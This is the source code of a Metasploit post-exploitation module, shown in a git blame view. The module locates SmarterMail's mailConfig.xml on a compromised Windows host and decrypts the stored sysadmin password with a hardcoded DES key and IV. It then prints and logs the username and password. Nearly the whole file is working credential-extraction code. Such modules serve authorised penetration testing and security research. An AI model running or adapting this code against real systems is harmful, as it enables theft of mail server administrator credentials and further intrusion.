metasploit-framework/modules/post/windows/gather/credentials/smartermail.rb

146 lines
4.0 KiB
Ruby
Raw Normal View History

##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
2014-02-03 03:58:10 +00:00
require 'msf/core'
require 'msf/core/auxiliary/report'
class Metasploit3 < Msf::Post
include Msf::Post::File
include Msf::Auxiliary::Report
2014-02-01 21:37:18 +00:00
def initialize(info = {})
super(update_info(
info,
'Name' => 'Windows Gather SmarterMail Password Extraction',
'Description' => %q{
This module extracts and decrypts the sysadmin password in the
SmarterMail 'mailConfig.xml' configuration file. The encryption
key and IV are publicly known.
2014-02-03 03:58:10 +00:00
2014-02-01 21:37:18 +00:00
This module has been tested successfully on SmarterMail versions
10.7.4842 and 11.7.5136.
},
'License' => MSF_LICENSE,
'Author' => [
2014-02-03 05:37:56 +00:00
'Joe Giron', # Discovery and PoC (@theonlyevil1)
'Brendan Coles <bcoles[at]gmail.com>', # Metasploit
'sinn3r' # shell session support
2014-02-01 21:37:18 +00:00
],
'References' =>
[
['URL', 'http://www.gironsec.com/blog/tag/cracking-smartermail/']
],
2014-02-01 21:37:18 +00:00
'Platform' => ['win'],
2014-02-03 05:37:56 +00:00
'SessionTypes' => ['meterpreter', 'shell']
2014-02-01 21:37:18 +00:00
))
end
2014-02-03 05:37:56 +00:00
def r_host
if session.type =~ /meterpreter/
session.sock.peerhost
else
session.session_host
end
end
2014-02-03 03:58:10 +00:00
def peer
2014-02-03 05:37:56 +00:00
if session.type =~ /meterpreter/
"#{r_host} (#{sysinfo['Computer']})"
else
r_host
end
2014-02-03 03:58:10 +00:00
end
#
# Decrypt DES encrypted password string
#
2014-02-01 21:37:18 +00:00
def decrypt_des(encrypted)
return nil if encrypted.nil?
decipher = OpenSSL::Cipher::DES.new
decipher.decrypt
decipher.key = "\xb9\x9a\x52\xd4\x58\x77\xe9\x18"
decipher.iv = "\x52\xe9\xc3\x9f\x13\xb4\x1d\x0f"
2014-02-01 21:37:18 +00:00
decipher.update(encrypted) + decipher.final
end
#
# Find SmarterMail 'mailConfig.xml' config file
#
def get_mail_config_path
found_path = ''
2014-02-03 05:37:56 +00:00
drive = expand_path('%SystemDrive%').strip
['Program Files (x86)', 'Program Files'].each do |program_dir|
2014-02-03 05:37:56 +00:00
path = %Q|#{drive}\\#{program_dir}\\SmarterTools\\SmarterMail\\Service\\mailConfig.xml|.strip
vprint_status "#{peer} - Checking for SmarterMail config file: #{path}"
if file?(path)
found_path = path
break
end
end
found_path
end
#
# Retrieve username and decrypt encrypted password string from the config file
#
def get_smartermail_creds(path)
2014-02-01 21:37:18 +00:00
result = {}
data = ''
2014-02-03 03:58:10 +00:00
vprint_status "#{peer} - Retrieving SmarterMail sysadmin password"
begin
2014-02-03 05:37:56 +00:00
data = read_file(path)
rescue Rex::Post::Meterpreter::RequestError => e
2014-02-03 03:58:10 +00:00
print_error "#{peer} - Failed to download #{path} - #{e.to_s}"
return result
end
if data.blank?
2014-02-03 03:58:10 +00:00
print_error "#{peer} - Configuration file is empty."
return result
end
2014-02-01 21:37:18 +00:00
username = data.match(/<sysAdminUserName>(.+)<\/sysAdminUserName>/)
password = data.match(/<sysAdminPassword>(.+)<\/sysAdminPassword>/)
result['username'] = username[1] unless username.nil?
result['password'] = decrypt_des(Rex::Text.decode_base64(password[1])) unless password.nil?
result
end
#
# Find the config file, extract the encrypted password and decrypt it
#
def run
# check for SmartMail config file
config_path = get_mail_config_path
if config_path.blank?
2014-02-03 03:58:10 +00:00
print_error "#{peer} - Could not find SmarterMail config file"
return
end
# retrieve username and decrypted password from config file
2014-02-01 21:37:18 +00:00
result = get_smartermail_creds(config_path)
if result['password'].nil?
2014-02-03 03:58:10 +00:00
print_error "#{peer} - Could not decrypt password string"
return
end
# report result
2014-02-03 03:58:10 +00:00
user = result['username']
pass = result['password']
print_good "#{peer} - Found Username: '#{user}' Password: '#{pass}'"
report_auth_info(
2014-02-03 05:37:56 +00:00
:host => r_host,
:sname => 'http',
2014-02-03 03:58:10 +00:00
:user => user,
:pass => pass,
:source_id => session.db_record ? session.db_record.id : nil,
:source_type => 'vuln')
end
end